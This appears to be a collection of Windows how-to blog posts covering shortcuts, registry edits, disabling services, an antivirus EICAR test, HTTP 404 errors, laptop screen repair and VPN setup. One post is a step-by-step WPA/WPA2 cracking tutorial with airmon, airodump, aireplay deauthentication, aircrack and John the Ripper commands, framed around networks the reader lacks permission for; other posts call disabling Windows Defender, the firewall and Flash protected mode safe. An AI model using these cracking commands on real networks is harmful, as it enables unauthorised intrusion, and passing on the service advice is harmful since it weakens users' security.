Put a Start Menu Back on Windows 8 Desktop

So essentially what we are going to do is create a shortcut to the Apps screen, you’ll use the Shell command. In order to launch a Shell command from a shortcut, you need to use the explorer.exe command. As such, the shortcut to launch the Apps screen consists of the following command line. (Take note that there are three colons between the word shell and the left brace. Also keep in mind that there is only one space in the whole command line between the .exe file extension and the word shell.)

 

explorer.exe shell:::{2559a1f8-21d7-11d4-bdaf-00c04f60b9f0}

To create the shortcut, just open the Documents folder, right-click on the background, and choose the New | Shortcut command. When you see the first screen in the Create Shortcut wizard, type the shortcut in the text box, as shown in Pic 1. Then, click Next.

As you type the shortcut, beware of typos

When you see the second screen in the Create Shortcut wizard, type a short name for your shortcut. As you can see in Pic 2, I named my example shortcut Apps. To complete the wizard, just click Finish.

One this is done you will see a shortcut appear just right click on it and select the Properties command, as shown in Pic 3

When you see the Properties dialog box, click the Change Icon button to open the Change Icon dialog box, as shown in Pic 4.

By default the Change Icon dialog box displays the icons from the explorer.exe file. As you can see, none of the available icons are very exciting. However, if you click the Browse button, you can search for other files that contain icons.

By default, the Change Icon dialog box displays the icons from the explorer.exe.

I first found a nice Windows flag in the imageres.dll file (C:\Windows\System32.dll) that I considered using, but then I remembered the green Orb icon from Windows Media Center was very nice and found it in the ehshell.exe file (C:\Windows\ehome). Both are shown in pic 5

While the Windows flag icon is a good choice, I like the Windows Media Center icon better.

I ended up choosing the Windows Media Center icon because it resembles the Start button but since it is green, it is different from the blue Windows 7 icon. Of course, you can use any icon that you prefer. As soon as you choose your icon, right click on it and then select the Pin to Taskbar command, as shown in pic 6

Select the Pin to Taskbar command.

Once your custom Start button appears on the taskbar, drag it all the way to the left side of the taskbar, as shown in pic 7.  You can use the green Orb icon and positioning it at the end of the taskbar it really makes the desktop look like Windows 7, however I personally prefer the simple Windows flag icon.

Drag the pinned icon to the left side of the taskbar.

Now when you click your custom Start button, the Apps screen will appear, as shown in pic 8. You can then click once to dismiss the Search panel, and then select the icon of the application that you want to launch.

I will be posting more how to’s for Windows 8 in  the coming moths so stay tuned.

Change Default Installation Directory Path Windows 7

Please Note: Please ensure that you Back-up your Registry before attempting to modify it in anyway just in case you make a mistake. Here’s how:

1. Depending on your version of Windows, do one of the following:
   • For Windows XP: Click Start > Run.
   • For Windows 7 or Vista: Click the Start button, and then click All Programs > Accessories > Run.
2. In the Run dialog box, type the following text:

   regedit

3. Click OK.

   If the User Account Control window appears, click Continue.

4. On the File menu, click Export.
5. In the File name box, type a name that you will remember, such as Registry Backup.
6. Select a location where you want to save the Registration Entries (.reg) file, I suggest your desktop.
7. Click Save.

Ok now that has been done lets get into the real technical stuff.

Changing the Default Installation Path in Windows 7 isn’t all that difficult, we all know that our Default Installation Path is C:\Program Files but if you want to change this to another Drive so that will become the Default Path for all new program Installations you can with a few clicks in the registry editor.

Ok for X64 Version User’s this simply Copy and Paste the following into the Run Box

%systemroot%\syswow64\regedit

For X32 Version User’s Go to Start and in the Search Box type in Regedit and Hit Enter to Open the Registry Editor

Now the Registry Editor will open

• Ok now locate the following:- HKEY_LOCAL_MACHINE \ Software \ Microsoft \ Windows \ CurrentVersion

Now you will see that I have marked out the ProgramFilesDir for the X32 Version and ProgramW6432Dir the X64 Version and the reason for this you will need to change both if you are running a X64 Version.

So, If you have the X32 Version of Windows then choose the ProgramFileDir x86 path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

• For X32 Version user’s, that it for you all done!

So, If you have the X64 Version of Windows then choose and Modify both ProgramFileDir x86 and ProgramW6432Dir path by Right Clicking and then Selecting Modify.

Then simply change the Drive Letter and Path to where you want to Install your Programs then Click OK

Now if you have messed it up and when you reboot your machine you get errors, a simple way to revert back to the previous version of the registry is to:

Reboot the machine  keep tapping F8 this will take you into ‘Safe Mode’

When the desktop boots double click on the .reg file you made earlier in this tutorial and when prompted with a warnig (as below) press ‘Yes’

Reboot and now you are back to how your registry was before you started (now print this tutorial out and try again)

 

Speed Up Your Windows Machine By Trimming Services

Every day I hear the words “My machine is running slow, can you help” (not always that polite). But never the less the answer is always ‘Yes’.

People understand that running disk clean up and defragging their machine will help keep their machine up to speed. But one thing that users are a bit apprehensive about  (and quite rightly so) is turning off Windows services in the fear that they will break something, so here is a list of safe services to turn off and how to do it.

Disable unnecessary Windows services to free up CPU and RAM usage, speed up boot and start up time. This procedure is very easy, just follow my steps correctly.

Click start, run, and type “services.msc”. And the services window will show up.

Now you are on the services page, just double click the service you want to disable and this window will show up. (Don’t worry keep reading there is a list of services soon)

Now here is the list of Windows services that are safe to disable.

• Application Experience
• Block Level Backup Engine Service
• Certificate Propagation
• IP Helper
• Portable Device Enumerator Service
• Distributed Link Tracking Client
• Protected Storage
• Portable Device Enumerator Service
• Secondary Logon
• Software Protection
• Server
• Tablet PC Input Service
• TCP/IP NetBIOS Helper
• Windows Media Center Service Launcher
• Windows Search
• Remote Registry
• Windows Time

Windows services that are safe to disable if…

• Desktop Windows Manager Session Manager (if you are on a Netbook)
• Diagnostic Policy Service (if you don’t use the troubleshooter)
• Error Reporting Service
• HomeGroup Listener (No Homegroup sharing)
• HomeGroup Provider (No HomeGroup sharing)
• Offline files
• Print Spooler (if you don have a printer)
• SSDP Discovery (No HomeGroup sharing)
• Themes ( if you are on a Netbook)
• Windows Defender (If you have an Antivirus installed)
• Windows Firewall (Firewall installed)
• Windows Image Acquisition (if you don’t have any imaging devices ie., camera, scanners)
• Windows Media Player Network Sharing Services (No Homegroup sharing)

Disabling unwanted Windows services will eventually speed up your PC, prevent application crashes, frees up RAM and lowers CPU congestion.

While you are doing this if you see services you are not sure of just drop a request in the comments bellow and I’ll tell you if it is safe to disable.

 

Fix Flash Crashes in FireFox

Firefox is the latest version of Mozilla’s popular Internet browser. People using it typically update the software to get its new features. Unfortunately, this version brought us an unpleasant crash issue connected with Flash Player. More accurately, when you update Firefox 13 with Flash 11.3 on your Windows 7 computer, you may encounter the Flash 11.3 Protected Mode problem. In the instructions below you can read about how to fix this issue and prevent unpleasant Flash Player crashes.

 

Fixing Flash 11.3 Protected Mode Issue in Firefox 13 Instructions:

1. Open “Computer / My Computer” and go to Flash folder:
   For Windows 32bit Users: C:\windows\system32\macromed\flash
   For Windows 64bit Users: C:\windows\syswow64\macromed\flash
2. Find and open the “mms.cfg” file in a text editor.
   Note: If there is no mms.cfg file, you will need to create one.
3. Add the following command to the file:
   “ProtectedMode = 0”
4. Save the “mms.cfg” file and close it.

Test Your AntiVirus Software Is Working

Caintech.co.uk received an email this week from a user that was worried that his Anti Virus software wasn’t working and if it was how can he test it. Well have no fear here is how to test that everything is working.

Traditional antivirus software detects viruses and other malware via signature definitions. EICAR is a non-viral string of code that most antivirus software has in their signature definition files.

EICAR allows users to check whether their antivirus software is running. For example, if you try to open EICAR.COM, if your realtime protection feature is enabled the antivirus software should generate an alert. You can also manually scan EICAR to test your on-demand scanner.

An EICAR test file can be easily created using any text editor, i.e. Notepad. To create an EICAR test file, copy and paste the following line into a blank Notepad file:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Save the file as EICAR.txt. It is now ready for testing. In fact, if your active protection was working properly, the simple act of saving the file should have triggered an alert.

So if everything is working fine you will receive an alert like below

Now if you don’t receive an alert you might want to uninstall your current AV and try another one.

Here is a list of the top rated FREE anti virus software

 Avast! Antivirus

 Microsoft Security Essentials

 Avira Antivirus

 Panda Cloud Antivirus

Review: Best Free Antivirus Software

One of the best security sites I have had the pleasure of read is selectrealsecurity.com and I would advise everyone to have a read.

How To Crack WPA & WPA2 With Backtrack5 Tutorial

This tutorial will require the use of Backtrack, get the latest version HERE and it is free.

Wireless technology comes at the price of security but at least WPA and WPA2 are safe right? Wrong. WPA and WPA2 are both crackable but the time it takes to crack depends on the strength of their password.

-Boot into BackTrack
-Open up Konsole which is a command line utility built into BackTrack. It is the Black Box in the Lower-Left Hand Corner (See Image).

We will now be entering the following commands into the command line noted by Bold as well as explanations as to what they do:

-The following commands stop the wireless interface so you can change your mac address, this is important because your mac address is a unique identifier so faking one is a good idea if you are accessing a network you don’t have permission to. (Which by the way I wholly condemn)

1:
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger –mac 00:11:22:33:44:55 wlan0
airmon-ng start wlan0

2:
-Now we will put the airodump-ng tool into monitor mode, this will allow us to see all of the wireless networks around us.

airodump-ng mon0

Now choose the network you want to hack and take note of the BSSID, and the Channel it is one as well as the ESSID. The PWR has to be fairly high to be able to hack it, this is determined by how close you are to the wireless router. The closer you are, the better.

Once you have chosen the wireless network enter the following into the terminal:
This will write capture packets and put them into the “filename” file, we are trying to capture the handshake between the router and wireless connection which will give us the key we need to crack.

3:
airodump-ng mon0 –channel * –bssid **:**:**:**:**:** -w filename

The following step is optional but is highly recommended as it will speed up the process a great deal.

Once “WPA handshake: **:**:**:**:**:**” appears in the top right-hand corner we can move on. If you are having trouble getting the WPA handshake to occur then do step 4.

4:
aireplay-ng -0 1 -a **:**:**:**:**:** -c **:**:**:**:**:** mon0

What this step (4) does is it deauthorizes a wireless connection and trie to re-establish it so it will generate a new handshake to capture. This step ends once you have captured the handshake.

5:
aircrack-ng –w wordlist.lst -b **:**:**:**:**:** filename.cap

Step 5 is now trying to crack the password in “filename.cap” using a list of words, here called “wordlist.lst” you can download a good 200 million word dictionary here (128MB but unzipped is 800MB). However if this wordlist becomes unavailable feel free to drop me a line and I’ll post a new one.

Your computer has to compute the hash value of every password in that list but a computer can go through those 200 million passwords in 6-12 hours.

6.

If the password isn’t found in the dictionary you can try and brute-force the password with this command: (Note this could take a very long time depending on their password strength).

/pentest/password/jtr/john –stdout –incremental:all | aircrack-ng -b **:**:**:**:**:** -w – filename.cap

Note: If you would like some instructions on how to install Backtrack5 have a look at The Geek Net, they have produced a very simple yet very effective tutorial.

How To Use A Batch File To Launch Programs

I have had a mail from Darren Jacobs with the question:

‘Hi Caintech,

  I have a PC that I only use to browse the web and read emails with, I use Thunderbird for my email and Firefox for the web. What I am trying to do is have these programs open and start automatically when Windows starts, I am using Windows 7.

  Can you help please?’

So here goes:

If you need to start a program or a group of programs automatically, but don’t want the hassle of clicking on them, why not create a batch file to do it for you?

Before you start press Start (Windows start menu) and type ‘Folder Options’ and select the first option at appears. In this new window select the tab ‘View’ and untick the option ‘Hide extensions for know file types’

Press ‘OK’ to make the change and close the window. You will now be able to see the file extensions of files.

So lets make a batch file:

Launch Notepad and type the following (Note: you can replace the program names with whatever program you want to launch). See Image:

As you can see by the image. We’ve got the words @echo off which instructs the batch file not to show results in the command window. Then we’ve got the words Start followed by a space and followed by the name of a program. In this case we are launching Firefox and Thunderbird.

  9 times out of 10 this method will work fine. On occasion you may need to type out the full path to the program.

For example

As you can see by this example. I’ve found the directory where the program is located and enclosed it in double quotations preceded by 2 double quotes.  I’ve also enclosed the application_name.exe at the end.

Now save this text document and rename it ‘Startup.bat’. Now you have changed the file type from a text file to a batch file (you’ll will get a warning when you change the file extension but you can ignore this) You can now test this file by right clicking on it and select ‘Run’

If everything opens up fine you can you can now drop this file into you ‘Start Up’ folder

C:\Users\ Your user name\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

Now restart and watch the magic happen.

For more help with Batch files and Dos have a look at www.computerhope.com/batch.htm

When the 404 Strikes and What it Means

The Error 404 “Page not found” is the error page displayed whenever someone asks for a page that’s simply not available on your site. The reason for this is that there may be a link on your site that was wrong or the page might have been recently removed from the site. As there is no web page to display, the web server sends a page that simply says “404 Page not found”.

The 404 error message is an HTTP (Hypertext Transfer Protocol) standard status code. This “Not Found” response code indicates that although the client could communicate to the server, the server could not find what was requested or it was configured not to fulfil the request.

The 404 “Not Found” error is not the same as the “Server Not Found” error which you see whenever a connection to the destination server could not be established at all.

The default 404 error page as shown on Internet Explorer is given below.

HTTP Status Code

Whenever you visit a web page, your computer will request data from a server through HTTP. Even before the requested page is displayed in your browser, the web server will send the HTTP header that has the status code. The status code provides information about the status of the request. A normal web page gets the status code as 200. But we do not see this as the server proceeds to send the contents of the page. It’s only when there is an error, we see the status code 404 Not Found.

Origin of Status Codes

As a part of the HTTP 0.9 specifications, the World Wide Web Consortium (W3C) established HTTP status codes in 1992. Tim Berners-Lee, who invented the web and the first web browser in 1990, defined the status codes.

List of Status Codes

A brief overview of HTTP status codes is given below.

HTTP Status Code

Whenever you visit a web page, your computer will request data from a server through HTTP. Even before the requested page is displayed in your browser, the web server will send the HTTP header that has the status code. The status code provides information about the status of the request. A normal web page gets the status code as 200. But we do not see this as the server proceeds to send the contents of the page. It’s only when there is an error, we see the status code 404 Not Found.

Origin of Status Codes

As a part of the HTTP 0.9 specifications, the World Wide Web Consortium (W3C) established HTTP status codes in 1992. Tim Berners-Lee, who invented the web and the first web browser in 1990, defined the status codes.

List of Status Codes

A brief overview of HTTP status codes is given below.

Code	Meaning	Description
100	Continue	Confirms the client about the arrival of the first part of the request and informs to continue with the rest of the request or ignore if the request has been fulfilled
101	Switching Protocols	Informs the client about the server switching the protocols to that specified in the Upgrade message header field during the current connection.
200	OK	Standard response for successful requests
201	Created	Request fulfilled and new resource created
202	Accepted	Request accepted, but not yet processed
203	Non-Authoritative Information	Returned meta information was not the definitive set from the origin server.
204	No Content	Request succeeded without requiring the return of an entity-body
205	Reset Content	Request succeeded but require resetting of the document view that caused the request
206	Partial Content	Partial GET request was successful
300	Multiple Choices	Requested resource has multiple choices at different locations.
301	Moved Permanently	Resource permanently moved to a different URL.
302	Found	Requested resource was found under a different URL but the client should continue to use the original URL.
303	See Other	Requested response is at a different URL and can be accessed only through a GET command.
304	Not Modified	Resource not modified since the last request.
305	Use Proxy	Requested resource should be accessed through the proxy specified in the location field.
306	No Longer Used	Reserved for future use
307	Temporary Redirect	Resource has been moved temporarily to a different URL.
400	Bad Request	Syntax of the request not understood by the server.
401	Not Authorized	Request requires user authentication
402	Payment Required	Reserved for future use.
403	Forbidden	Server refuses to fulfill the request.
404	Not Found	Document or file requested by the client was not found.
405	Method Not Allowed	Method specified in the Request-Line was not allowed for the specified resource.
406	Not Acceptable	Resource requested generates response entities that has content characteristics not specified in the accept headers.
407	Proxy Authentication Required	Request requires the authentication with the proxy.
408	Request Timeout	Client fails to send a request in the time allowed by the server.
409	Conflict	Request was unsuccessful due to a conflict in the state of the resource.
410	Gone	Resource requested is no longer available with no forwarding address
411	Length Required	Server doesn’t accept the request without a valid Content-Length header field.
412	Precondition Failed	Precondition specified in the Request-Header field returns false.
413	Request Entity Too Large	Request unsuccessful as the request entity is larger than that allowed by the server
414	Request URL Too Long	Request unsuccessful as the URL specified is longer than the one, the server is willing to process.
415	Unsupported Media Type	Request unsuccessful as the entity of the request is in a format not supported by the requested resource
416	Requested Range Not Satisfiable	Request included a Range request-header field without any range-specifier value
417	Expectation Failed	Expectation given in the Expect request-header was not fulfilled by the server.
422	Unprocessable Entity	Request well-formed but unable to process because of semantic errors
423	Locked	Resource accessed was locked
424	Failed Dependency	Request failed because of the failure of a previous request
426	Upgrade Required	Client should switch to Transport Layer Security
500	Internal Server Error	Request unsuccessful because of an unexpected condition encountered by the server.
501	Not Implemented	Request unsuccessful as the server could not support the functionality needed to fulfill the request.
502	Bad Gateway	Server received an invalid response from the upstream server while trying to fulfill the request.
503	Service Unavailable	Request unsuccessful to the server being down or overloaded.
504	Gateway Timeout	Upstream server failed to send a request in the time allowed by the server.
505	HTTP Version Not Supported	Server does not support the HTTP version specified in the request.

Meaning of 404

When we expand the code 404, the first digit “4” represents a client error. The server indicates that you did a mistake like misspelling the URL or requesting for a page that is no longer available.

The middle digit, 0 represents a general syntax error and could indicate a spelling mistake.

The last digit, 4 refers to a specific error in the group of 40x.

The World Wide Web Consortium (W3C) states that 404 Not Found should be used in cases where the server fails to find the requested location and is unsure of its status. Whenever a page has been permanently removed, the status code used must be 410. But hardly have we seen a 410 page. Instead, 404 Not Found page has become popular and the most commonly used error page.

Content of a 404 Error Page

A 404 response code is always followed by a human readable reason phrase as per the HTTP specification. Generally, a web server issues an HTML page that has the 404 code and the “Not Found” phrase by default. You can configure a web server to display a branded page with a better description and a search form. But the protocol level phrase requires no customization as it is hidden from the user.

Soft 404s

Soft 404 errors are actually “Not Found” errors returned by a web server as a standard web page with a 200 Ok response code. In an automated process of discovering a broken link, the soft 404 errors are problematic.

The BT Group of UK has a clean feed content blocking system that returns a 404 error to the requests for content identified as illegal by the Internet Watch Foundation. Even when the user tries to access the Government censored websites, a fake 404 error will be returned.

404 Error Percentages

A sample web trends’ summary report by ARCHIVI shows the client error details for 404 Page.

Client Errors
Error	Hits	% of Failed Hits
000 Incomplete / Undefined	29,164	69.62%
404 Page or File Not Found	12,651	30.2%
400 Bad Request	57	0.13%
18745 Incomplete / Undefined	5	0.01%
18747 Incomplete / Undefined	4	0%
401 Unauthorized Access	4	0%
Total	41,885	100%

Although the web statistics generally vary from month to month, based on the strategy used to eliminate 404 errors, and how active the website is, the percentage of 404 errors varies. Most active websites that have frequently changed or added content generally experience a higher number of Page Not Found errors. But there are many large and busy sites that achieve zero percent 404 errors over a period. On an average, around 7% of visits to any given web site will result in a 404 error page.

Tracking and Preventing 404 Errors

• Log Files – Web Server log files help in tracking the 404 errors. These standard log files are just ASCII text files that have each HTTP protocol transaction, whether completed or not, recorded in them. Most of the HTTP errors are recorded in the transfer log and the error log files. If you have access to the log files of your website, you can observe the HTTP status code field. This field gives you an idea about the occurrence of 404 errors, their frequencies, consistencies, and also the referred document that led to the errors. Also find out the existence of any broken link on your site and the misspelled URL that led to the error. When you know all these information, you can easily correct the link and prevent 404 errors on your website.
• Redirects – If you find a page that is consistently getting a 404 error, you can create a redirect page using the .htaccess file that automatically takes the users from an older page to its newer replacement. You can use Permanent and Temporary Redirects to “catch” old referrals from other sites and send the visitors to their intended information.
• Robots File – If you have a section of your site with pages that are frequently changed, you can block the search engines from indexing them in their databases using robots.txt file so that you can prevent 404 errors.

Using Log Files

A sample line from a common transfer log file is given below.

Address or DNS	revacsystems.com
RFC931	-
AuthUser	-
TimeStamp	[18/June/2008:12:13:03 -0700]
Access Request	GET /download/windows/happiness.zip HTTP/1.0
Status Code	200
Transfer Volume	9887
Referer URL	http://www.payoneer.com/
User Agent	Mozilla/4.7 [en]C-SYMPA (Win95; U)

•  Address or DNS – This field refers to the address of the computer making the HTTP request.
• RFC931 – This field identifies the requestor. If no information is available, you’ll find the symbol – for this column in the log file.
• AuthUser – This field has the authenticated user sent via clear text.
• TimeStamp – This field has the date, time, and offset from Greenwich Mean Time (GMT x 100) recorded for each hit. You can even compare the time stamps between entries so that you’ll know how long a visitor stayed on a given page.
• Access Request – This field has one of the three types of HTTP requests. Get request is for a document or program. POST is to tell the server that the data is following. HEAD is for use by the link checking programs.
• Status Code – This field has the status code of 200 meaning that the transaction was successful. If the requested URL doesn’t exist, then you would have noticed the 404 code in the log.
• Transfer Volume – This field shows the number of bytes transferred.
• Referer URL – This field refers to the page where the visitor was located when making the next request.
• User Agent – This field refers to the information such as the browser, version, and operating system of the reader.

Using Redirects

Redirects are very useful when used in conjunction with a 404 error page. To redirect a page, simply follow the steps given below.

1. Create a file “notfound404.htm” with a message such as:

Using Redirects

Redirects are very useful when used in conjunction with a 404 error page. To redirect a page, simply follow the steps given below.

1. Create a file “notfound404.htm” with a message such as:

“Sorry, this page was not found. In a few seconds, you will be redirected to the Home page.”

2. Allow 5 seconds for reading the message and then redirect.

3. A sample redirect code is:

Note: The value for CONTENT specifies the number of seconds you allow the user to read the message before redirecting.

 Using robots.txt File

Robots.txt file is useful when there are frequently changing sections on your webpage. To use a robots.txt file, simply follow the steps given below.

1. Create a file “robots.txt” in the root directory.

2. A sample robots.txt code is:

Note: User-agent: * will apply to all search engines. Disallow command helps you to block complete directories or only the individual files that change.

Laptop Screen Replacement Made Easy

Laptop screen replacement can be a tricky thing to master and repair companies take total advantage of this fact by charging out of the world prices to do it. The following post has also be made into a handy PDF for you to print and have next to you when you replace your screen.PDF Download> Screen Replacement Instructions

Remember, take your time and place all the screws from each step in their own pile.

Screen Replacement Instructions

Generally, replacing your notebook display is rather simple. These steps cover the process of removing the screen; once removed, follow the same steps in reverse to install your brand-new display.

Preparation: Before doing any type of repair on your notebook, YOU MUST turn the laptop off, unplug its power source and remove the battery. If you don’t you might cause more damage to your laptop than has already occurred.

You will also need these tools:

• 1 small screw driver (Phillips head)
• 1 sharp object (like a razor)

• Step 1: Bezel Screws & Covers

 

 

 

Most notebooks have plastic or rubber screw covers. Remove the screw covers with a sharp object. Remove the screws beneath the screw covers.

• Step 2: Remove Plastic Bezel

 

 

 

Use your fingers to get between the plastic bezel and the display. Start with one corner or side, and gently work around the perimeter of the display. If at any point the bezel won’t budge, inspect carefully for hidden screws.

• Diagram 1: What It Looks Like

 

 

 

This is what your notebook looks like with the bezel removed. The display, inverter and possibly more screws are now visible.

• Step 3: Back Bezel Screws

 

 

 

If you notebooks has screws securing the display to the rear shell, remove them. Then you can move on to the brackets holding the screen in place.

• (another angle)

 

 

 

While removing your display, be careful to keep the screws in a safe place, and to note which screws go where.

• Step 4: Framing Brackets

 

 

 

The next step is to remove the screws from the brackets that hold the display in place. There should be at least two on each side of the display.

• (another angle)

 

 

 

Once the display is free of the framing brackets, you can usually then lay it flat onto the laptop keyboard.

• Diagram 2: What It Looks Like

 

 

 

This image shows the notebook free from the back bezel and the brackets. Now the video cable and the inverter are both visible.

• Step 5: Video / Data Cable

 

 

 

Next, remove the video cable from the back of the display. Remove any tape that may be securing the video cable in place. There may also be tape toward the bottom of the display holding the video cable in place.

• Step 6: Inverter

 

 

 

Next, remove the inverter plug from the inverter board. The inverter plug simply pulls out from the inverter board. Some may require that you use needle-nose pliers to remove the plug. This will free the display from the notebook.

• Diagram 3: What It Looks Like

 

 

 

This image shows the display completely removed from the notebook. You can see the inverter and video cable are disconnected from the display. Now you can begin installing the new display. Follow these directions in reverse to properly install the new display.

Ordering Tip: Save time & money by ordering with the display-maker’s part number.

It’s actually a very good idea to remove the notebook display before you order the new one, so that you can find the part number from the notebook-display factory.

You can find displays online by searching for the notebook, and you can find them by searching for the part number added by the notebook maker (i.e. the HP or Sony part number), but to be sure you get the exact same screen, it’s best to use the part number from the display manufacturer, not the notebook manufacturer.

As you may see, in this case the screen manufacturer is Samsung, and the part number is LTN141X8-L04. By finding and ordering by this kind of part number, you can often save time, save money, and avoid receiving the wrong screen by mistake.

How to Create a VPN in Windows 7

VPN (Virtual Private Network) technology lets a computer using a public Internet connection join a private network by way of a secure “tunnel” between that machine and the network. The most common case is a business allowing its employees to connect to its work network from home or from the road.

There are two principal ways to configure VPN. The first and more-common scenario, called outgoing, is setting up a remote computer to call into the office network. The second scenario, called incoming, occurs on the network side, where a computer allows secure connections from other computers. Windows 7 comes preloaded with the Agile VPN client, which makes setting up either kind of connection relatively easy.

Step by Step: Connecting to a VPN (Outgoing)

Step 1 Click the Start button. In the search bar, type VPN and then select Set up a virtual private network (VPN) connection.

Step 2 Enter the IP address or domain name of the server to which you want to connect. If you’re connecting to a work network, your IT administrator can provide the best address.

Step 3 If you want to set up the connection, but not connnect, select Don’t connect now; otherwise, leave it blank and click Next.

Step 4 On this next screen, you can either put in your username and password, or leave it blank. You’ll be prompted for it again on the actual connection. Click Connect.

Step 5 To connect, click on the Windows network logo on the lower-right part of your screen; then select Connect under VPN Connection.

Step 6 In the Connect VPN Connection box, enter the appropriate domain and your log-in credentials; then click Connect.

Step 7 If you can’t connect, the problem could be due to the server configuration. (There are different types of VPN.) Check with your network administrator to see what kind is in use–such as PPTP–then, on the Connect VPN Connection screen, select Properties.

Step 8 Navigate to the Security tab and select the specific Type of VPN from the drop-down list. You may also have to unselect Include Windows logon domain under the Options tab. Then click OK and Connect.

Step by Step: Building a VPN (Incoming)

Step 1 Click the Start button, and, in the search bar, type Network and Sharing.

Step 2 Click Change Adapter Settings in the left-hand menu.

Step 3 Click File, and then New Incoming Connection.

Step 4 Select the users you’d like to give access to and click Next.

Step 5 Click Through the Internet and select Next.

Step 6 Select the Internet Protocol you’d like to use. (The default TCP/IPv4–the line highlighted in the screenshot below–will work fine.)